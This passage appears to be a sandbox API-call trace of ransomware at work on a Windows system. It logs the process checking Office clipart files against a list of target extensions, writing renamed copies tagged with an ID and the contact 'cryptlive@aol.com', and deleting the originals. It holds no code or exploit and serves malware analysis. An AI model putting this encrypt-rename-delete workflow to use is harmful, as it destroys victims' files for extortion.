lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.366] lstrlenW (lpString=".7z") returned 3 [0148.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.366] lstrlenW (lpString=".dbf") returned 4 [0148.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.366] lstrlenW (lpString=".1cd") returned 4 [0148.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0090783.WMF") returned 63 [0148.366] lstrlenW (lpString=".jpg") returned 4 [0148.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.366] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0148.367] lstrlenW (lpString="J0099153.WMF") returned 12 [0148.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0148.517] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13874) returned 1 [0148.517] CloseHandle (hObject=0x3cc) returned 1 [0148.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0148.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.582] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.582] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.583] GetLastError () returned 0x0 [0148.583] ReadFile (in: hFile=0x3dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3632, lpOverlapped=0x0) returned 1 [0148.588] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3640, lpOverlapped=0x0) returned 1 [0148.589] ReadFile (in: hFile=0x3dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.589] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.589] SetEndOfFile (hFile=0x39c) returned 1 [0148.589] CloseHandle (hObject=0x39c) returned 1 [0148.589] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.589] SetEndOfFile (hFile=0x3dc) returned 1 [0148.592] CloseHandle (hObject=0x3dc) returned 1 [0148.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.592] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0148.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.593] lstrlenW (lpString=".doc") returned 4 [0148.593] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString=".docx") returned 5 [0148.593] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0148.593] lstrlenW (lpString=".pdf") returned 4 [0148.593] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString=".xls") returned 4 [0148.593] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.593] lstrlenW (lpString=".xlsx") returned 5 [0148.593] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0148.593] lstrlenW (lpString=".ppt") returned 4 [0148.593] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.593] lstrlenW (lpString=".zip") returned 4 [0148.593] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.593] lstrlenW (lpString=".rar") returned 4 [0148.593] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString=".bz2") returned 4 [0148.593] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString=".7z") returned 3 [0148.593] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.593] lstrlenW (lpString=".dbf") returned 4 [0148.593] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.593] lstrlenW (lpString=".1cd") returned 4 [0148.593] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.593] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.593] lstrlenW (lpString=".jpg") returned 4 [0148.593] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.594] lstrlenW (lpString=".doc") returned 4 [0148.594] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString=".docx") returned 5 [0148.594] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0148.594] lstrlenW (lpString=".pdf") returned 4 [0148.594] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString=".xls") returned 4 [0148.594] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0148.594] lstrlenW (lpString=".xlsx") returned 5 [0148.594] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0148.594] lstrlenW (lpString=".ppt") returned 4 [0148.594] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.594] lstrlenW (lpString=".zip") returned 4 [0148.594] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0148.594] lstrlenW (lpString=".rar") returned 4 [0148.594] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString=".bz2") returned 4 [0148.594] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString=".7z") returned 3 [0148.594] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0148.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.594] lstrlenW (lpString=".dbf") returned 4 [0148.594] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.594] lstrlenW (lpString=".1cd") returned 4 [0148.594] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0148.594] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0148.594] lstrlenW (lpString=".jpg") returned 4 [0148.594] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0148.595] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.595] lstrlenW (lpString="J0099155.JPG") returned 12 [0148.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.595] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8826) returned 1 [0148.595] CloseHandle (hObject=0x3dc) returned 1 [0148.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 0x20 [0148.595] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0148.596] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.596] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0148.596] GetLastError () returned 0x0 [0148.596] ReadFile (in: hFile=0x3dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x227a, lpOverlapped=0x0) returned 1 [0148.609] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2280, lpOverlapped=0x0) returned 1 [0148.610] ReadFile (in: hFile=0x3dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.610] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.611] SetEndOfFile (hFile=0x39c) returned 1 [0148.611] CloseHandle (hObject=0x39c) returned 1 [0148.611] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.611] SetEndOfFile (hFile=0x3dc) returned 1 [0148.613] CloseHandle (hObject=0x3dc) returned 1 [0148.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.613] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg")) returned 1 [0148.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.614] lstrlenW (lpString=".doc") returned 4 [0148.614] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.614] lstrlenW (lpString=".docx") returned 5 [0148.614] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.614] lstrlenW (lpString=".pdf") returned 4 [0148.614] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.614] lstrlenW (lpString=".xls") returned 4 [0148.614] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.614] lstrlenW (lpString=".xlsx") returned 5 [0148.614] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.614] lstrlenW (lpString=".ppt") returned 4 [0148.614] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.614] lstrlenW (lpString=".zip") returned 4 [0148.614] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.614] lstrlenW (lpString=".rar") returned 4 [0148.614] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.614] lstrlenW (lpString=".bz2") returned 4 [0148.615] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.615] lstrlenW (lpString=".7z") returned 3 [0148.615] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString=".dbf") returned 4 [0148.615] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString=".1cd") returned 4 [0148.615] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString=".jpg") returned 4 [0148.615] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString=".doc") returned 4 [0148.615] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.615] lstrlenW (lpString=".docx") returned 5 [0148.615] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0148.615] lstrlenW (lpString=".pdf") returned 4 [0148.615] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.615] lstrlenW (lpString=".xls") returned 4 [0148.615] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.615] lstrlenW (lpString=".xlsx") returned 5 [0148.615] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0148.615] lstrlenW (lpString=".ppt") returned 4 [0148.615] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString=".zip") returned 4 [0148.615] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.615] lstrlenW (lpString=".rar") returned 4 [0148.615] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.615] lstrlenW (lpString=".bz2") returned 4 [0148.615] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.615] lstrlenW (lpString=".7z") returned 3 [0148.615] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.615] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.615] lstrlenW (lpString=".dbf") returned 4 [0148.616] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.616] lstrlenW (lpString=".1cd") returned 4 [0148.616] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.616] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG") returned 63 [0148.616] lstrlenW (lpString=".jpg") returned 4 [0148.616] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.670] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0148.670] lstrlenW (lpString="J0099156.JPG") returned 12 [0148.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.682] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=13954) returned 1 [0148.682] CloseHandle (hObject=0x3c4) returned 1 [0148.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 0x20 [0148.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0148.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0148.682] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.682] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0148.683] GetLastError () returned 0x0 [0148.683] ReadFile (in: hFile=0x3c4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x3682, lpOverlapped=0x0) returned 1 [0148.712] WriteFile (in: hFile=0x328, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x3690, lpOverlapped=0x0) returned 1 [0148.713] ReadFile (in: hFile=0x3c4, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0148.713] WriteFile (in: hFile=0x328, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0148.714] SetEndOfFile (hFile=0x328) returned 1 [0148.714] CloseHandle (hObject=0x328) returned 1 [0148.714] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0148.714] SetEndOfFile (hFile=0x3c4) returned 1 [0148.716] CloseHandle (hObject=0x3c4) returned 1 [0148.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0148.747] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg")) returned 1 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString=".doc") returned 4 [0148.804] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.804] lstrlenW (lpString=".docx") returned 5 [0148.804] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0148.804] lstrlenW (lpString=".pdf") returned 4 [0148.804] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.804] lstrlenW (lpString=".xls") returned 4 [0148.804] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.804] lstrlenW (lpString=".xlsx") returned 5 [0148.804] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0148.804] lstrlenW (lpString=".ppt") returned 4 [0148.804] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString=".zip") returned 4 [0148.804] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.804] lstrlenW (lpString=".rar") returned 4 [0148.804] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.804] lstrlenW (lpString=".bz2") returned 4 [0148.804] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.804] lstrlenW (lpString=".7z") returned 3 [0148.804] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString=".dbf") returned 4 [0148.804] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString=".1cd") returned 4 [0148.804] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString=".jpg") returned 4 [0148.804] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.804] lstrlenW (lpString=".doc") returned 4 [0148.804] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0148.804] lstrlenW (lpString=".docx") returned 5 [0148.804] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0148.805] lstrlenW (lpString=".pdf") returned 4 [0148.805] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0148.805] lstrlenW (lpString=".xls") returned 4 [0148.805] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0148.805] lstrlenW (lpString=".xlsx") returned 5 [0148.805] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0148.805] lstrlenW (lpString=".ppt") returned 4 [0148.805] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0148.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.805] lstrlenW (lpString=".zip") returned 4 [0148.805] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0148.805] lstrlenW (lpString=".rar") returned 4 [0148.805] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0148.805] lstrlenW (lpString=".bz2") returned 4 [0148.805] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0148.805] lstrlenW (lpString=".7z") returned 3 [0148.805] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0148.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.805] lstrlenW (lpString=".dbf") returned 4 [0148.805] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0148.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.805] lstrlenW (lpString=".1cd") returned 4 [0148.805] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0148.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG") returned 63 [0148.805] 